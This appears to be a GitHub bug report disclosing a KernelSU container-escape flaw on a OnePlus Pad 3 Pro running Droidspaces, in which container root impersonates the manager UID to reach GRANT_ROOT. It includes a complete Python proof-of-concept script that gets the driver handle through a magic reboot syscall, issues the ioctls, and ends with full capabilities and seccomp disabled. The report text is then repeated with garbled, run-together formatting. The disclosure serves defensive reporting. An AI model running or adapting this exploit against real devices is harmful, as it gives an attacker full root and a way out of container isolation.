Kernel Version
6.12
Kernel Source Link (REQUIRED)
https://github.com/OnePlusOSS/android_kernel_common_oneplus_sm8850
Droidspaces Version
6.4.5
Rooting Method
KernelSU
Device OEM & Model
Oneplus pad 3 pro
Android Version & ROM
16
Execution Mode
DAEMON
Networking Mode
NAT
Describe the Bug
Summary
A process running as uid 0 in a container that shares the host's init user
namespace can escalate to full root (uid 0 + full caps + u:r:ksu:s0) and
have its seccomp filter disabled, by impersonating the manager UID. The
is_ksu_domain() guard that blocks a direct container-root GRANT_ROOT is
bypassed through the is_manager() branch of allowed_for_su.
Affected
KernelSU (built-in and LKM). Requires an attacker who already has uid 0
(CAP_SETUID) in a container sharing the host init userns (rooted container /
root-in-container). Single-user Android where ksu_manager_appid < 100000.
Root cause
is_manager() (kernel/manager/manager_identity.h) is defined purely as:
return unlikely(ksu_manager_appid == current_uid().val % KSU_PER_USER_RANGE);
It trusts the UID alone. Any uid-0 process can:
- Read
ksu_manager_appid via KSU_IOCTL_GET_MANAGER_APPID
(perm manager_or_root — uid 0 passes with no domain check, unlike
__ksu_is_allow_uid_for_current in kernel/policy/allowlist.c, which
requires is_ksu_domain() for its uid-0 case).
setresuid(M) to that appid → is_manager() becomes true.
KSU_IOCTL_GRANT_ROOT (perm allowed_for_su = is_manager() || … in
kernel/supercall/perm.c) now passes the is_manager() branch —
is_ksu_domain() is never consulted.
do_grant_root → escape_with_root_profile() (kernel/policy/app_profile.c)
installs default_root_profile (uid 0, full caps, u:r:ksu:s0) and calls
disable_seccomp() — the only code path that disables seccomp.
The asymmetry is the core issue: the uid-0 fast path in
__ksu_is_allow_uid_for_current is hardened with is_ksu_domain(), but the
is_manager() branch of allowed_for_su (reachable from the same uid-0
caller after a setresuid) is not.
Escape chain
container root (uid 0, CAP_SETUID, non-ksu domain)
GET_MANAGER_APPID (manager_or_root, uid0 OK) -> M = ksu_manager_appid
setresuid(M) -> is_manager() == true
GRANT_ROOT (allowed_for_su: is_manager()) -> escape_with_root_profile
-> uid0 + full caps + u:r:ksu:s0 + seccomp OFF
PoC
Non-destructive: after escalating, it only reads /proc/self/status and
/proc/self/attr/current to show before/after state. No destructive action.
Run: sudo python3 ksu_poc3_manager_uid.py
Expected before/after: Seccomp=2 → 0, CapEff=0 → full, SELinux → u:r:ksu:s0.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
KernelSU supervisor-call escape PoC #3 (manager-uid impersonation).
GRANT_ROOT is reachable by a process that fakes the manager UID via
setresuid(), bypassing the is_ksu_domain() guard intended to block container
root (uid 0). GRANT_ROOT runs escape_with_root_profile(), which installs the
default root profile (uid 0, full caps, u:r:ksu:s0) AND calls
disable_seccomp() - the only code path that disables seccomp.
Non-destructive: after escalating, the PoC only reads /proc/self/status and
/proc/self/attr/current to show before/after state.
Reproduce: sudo python3 ksu_poc3_manager_uid.py
(needs container root for CAP_SETUID and uid-0 GET_MANAGER_APPID)
"""
import ctypes
import os
import platform
ARCH = platform.machine().lower()
NR_REBOOT = {"aarch64": 142, "arm64": 142, "x86_64": 169, "x86": 169}.get(ARCH, 142)
libc = ctypes.CDLL("libc.so.6", use_errno=True)
libc.syscall.restype = ctypes.c_long
libc.ioctl.restype = ctypes.c_int
libc.setresuid.restype = ctypes.c_int
GRANT_ROOT = 0x00004B01 # _IO('K', 1) perm: allowed_for_su
GET_MANAGER_APPID = 0x80004B0A # _IOC(_IOC_READ,'K',10,0) perm: manager_or_root
INVALID_APPID = 0xFFFFFFFF
def snap(label):
uid = os.getuid()
sec = cap = "?"
for line in open("/proc/self/status"):
if line.startswith("Seccomp:"):
sec = line.split(":")[1].strip()
elif line.startswith("CapEff:"):
cap = line.split(":")[1].strip()
try:
ctx = open("/proc/self/attr/current").read().strip()
except OSError:
ctx = "?"
print(f" [{label}] uid={uid} Seccomp={sec} CapEff={cap} SELinux={ctx}")
def get_fd():
out = ctypes.c_int(-1)
r = libc.syscall(NR_REBOOT, 0xDEADBEEF, 0xCAFEBABE, 0, ctypes.byref(out))
return r, out.value
print("=" * 64)
print(" KSU escape PoC #3: manager-uid impersonation -> GRANT_ROOT")
print("=" * 64)
if os.getuid() != 0:
print(f"\n[!] running as uid={os.getuid()}; need container root "
f"(CAP_SETUID + uid-0 GET_MANAGER_APPID).")
print(f" try: sudo python3 {os.path.abspath(__file__)}")
raise SystemExit(1)
print("\n>> Step 1: container root obtains [ksu_driver] fd + reads manager appid")
snap("container-root")
r, fd = get_fd()
print(f" reboot() ret={r} fd={fd}")
appid = ctypes.c_uint32(INVALID_APPID)
r = libc.ioctl(ctypes.c_int(fd), ctypes.c_ulong(GET_MANAGER_APPID), ctypes.byref(appid))
M = appid.value
print(f" GET_MANAGER_APPID ret={r} ksu_manager_appid={M} "
f"({'INVALID - no manager recognized' if M == INVALID_APPID else 'M = ' + str(M)})")
if M == INVALID_APPID:
print("\n[!] no manager recognized (official manager APK not installed/scanned). "
"Cannot proceed. Exiting.")
raise SystemExit(1)
print(f"\n>> Step 2: setresuid({M},{M},{M}) -> impersonate manager (CAP_SETUID)")
r = libc.setresuid(M, M, M)
print(f" setresuid ret={r} errno={ctypes.get_errno()}")
snap(f"uid{M}(fake-manager)")
print("\n>> Step 3: GRANT_ROOT (allowed_for_su: is_manager() branch now true)")
r = libc.ioctl(ctypes.c_int(fd), ctypes.c_ulong(GRANT_ROOT), 0)
e = ctypes.get_errno()
if r == 0:
print(f" GRANT_ROOT ret={r} => SUCCESS: escape_with_root_profile executed "
f"(escalated + disable_seccomp)")
else:
print(f" GRANT_ROOT ret={r} errno={e} => blocked "
f"(M may be >= 100000 multi-user, or is_manager() failed)")
print("\n>> Step 4: post-escape state")
snap("post-escape")
However we cannot simply fix it by disable reboot call because the attacker can try any possiable uids through execv hook path
Steps to Reproduce
escape.py
- download poc
- sudo bash python escape.py
- full root obtained,
Logs / Screenshots
Required Acknowledgments
Kernel Version
6.12
Kernel Source Link (REQUIRED)
https://github.com/OnePlusOSS/android_kernel_common_oneplus_sm8850
Droidspaces Version
6.4.5
Rooting Method
KernelSU
Device OEM & Model
Oneplus pad 3 pro
Android Version & ROM
16
Execution Mode
DAEMON
Networking Mode
NAT
Describe the Bug
Summary
A process running as uid 0 in a container that shares the host's init user
namespace can escalate to full root (uid 0 + full caps +
u:r:ksu:s0) andhave its seccomp filter disabled, by impersonating the manager UID. The
is_ksu_domain()guard that blocks a direct container-rootGRANT_ROOTisbypassed through the
is_manager()branch ofallowed_for_su.Affected
KernelSU (built-in and LKM). Requires an attacker who already has uid 0
(
CAP_SETUID) in a container sharing the host init userns (rooted container /root-in-container). Single-user Android where
ksu_manager_appid < 100000.Root cause
is_manager()(kernel/manager/manager_identity.h) is defined purely as:It trusts the UID alone. Any uid-0 process can:
ksu_manager_appidviaKSU_IOCTL_GET_MANAGER_APPID(perm
manager_or_root— uid 0 passes with no domain check, unlike__ksu_is_allow_uid_for_currentinkernel/policy/allowlist.c, whichrequires
is_ksu_domain()for its uid-0 case).setresuid(M)to that appid →is_manager()becomes true.KSU_IOCTL_GRANT_ROOT(permallowed_for_su = is_manager() || …inkernel/supercall/perm.c) now passes theis_manager()branch —is_ksu_domain()is never consulted.do_grant_root→escape_with_root_profile()(kernel/policy/app_profile.c)installs
default_root_profile(uid 0, full caps,u:r:ksu:s0) and callsdisable_seccomp()— the only code path that disables seccomp.The asymmetry is the core issue: the uid-0 fast path in
__ksu_is_allow_uid_for_currentis hardened withis_ksu_domain(), but theis_manager()branch ofallowed_for_su(reachable from the same uid-0caller after a
setresuid) is not.Escape chain
PoC
Non-destructive: after escalating, it only reads
/proc/self/statusand/proc/self/attr/currentto show before/after state. No destructive action.Run:
sudo python3 ksu_poc3_manager_uid.pyExpected before/after:
Seccomp=2 → 0,CapEff=0 → full, SELinux →u:r:ksu:s0.However we cannot simply fix it by disable reboot call because the attacker can try any possiable uids through execv hook path
Steps to Reproduce
escape.py
Logs / Screenshots
Required Acknowledgments